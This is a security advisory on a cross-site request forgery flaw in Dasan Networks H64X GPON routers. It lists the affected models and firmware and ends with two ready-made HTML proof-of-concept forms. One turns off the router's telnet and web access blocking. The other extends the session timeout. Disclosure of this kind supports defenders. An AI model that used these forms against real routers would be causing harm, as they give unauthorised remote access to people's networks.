Dasan Networks GPON ONT WiFi Router H64X Series suffers from a cross site request forgery vulnerability.
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Dasan Networks GPON ONT WiFi Router H64X Series Cross-Site Request Forgery
Vendor: Dasan Networks
Product web page: http://www.dasannetworks.com | http://www.dasannetworks.eu
Affected version: Model: H640GR-02
H640GV-03
H640GW-02
H640RW-02
H645G
Firmware: 3.03p1-1145
3.03-1144-01
3.02p2-1141
2.77p1-1125
2.77-1115
2.76-9999
2.76-1101
2.67-1070
2.45-1045
Summary: H64xx is comprised of one G-PON uplink port and four ports
of Gigabit Ethernet downlink supporting 10/100/1000Base-T (RJ45). It
helps service providers to extend their core optical network all the
way to their subscribers, eliminating bandwidth bottlenecks in the
last mile. H64xx is integrated device that provide the high quality
Internet, telephony service (VoIP) and IPTV or OTT content for home
or office. H64xx enable the subscribers to make a phone call whose
quality is equal to PSTN at competitive price, and enjoy the high
quality resolution live video and service such as VoD or High Speed
Internet.
Desc: The application interface allows users to perform certain actions
via HTTP requests without performing any validity checks to verify the
requests. This can be exploited to perform certain, if not all actions
with administrative privileges if a logged-in user visits a malicious
web site.
Tested on: Server: lighttpd/1.4.31
Server: DasanNetwork Solution
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2017-5422
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5422.php
19.05.2017
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Enable telnet access (disable telnet blocking):
Enable web access (disable web blocking):
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<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.0.1:8080/cgi-bin/remote_mgmt_action.cgi" method="POST">
<input type="hidden" name="rdoIPhost2TelnetBlocking" value="0" />
<input type="hidden" name="rdoIPhost2WebBlocking" value="0" />
<input type="hidden" name="waiting_action" value="1" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Increase session timeout (0: disable, min: 1, max: 60):
-------------------------------------------------------
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.0.1:8080/cgi-bin/websetting_action.cgi" method="POST">
<input type="hidden" name="sessionTimeout" value="60" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
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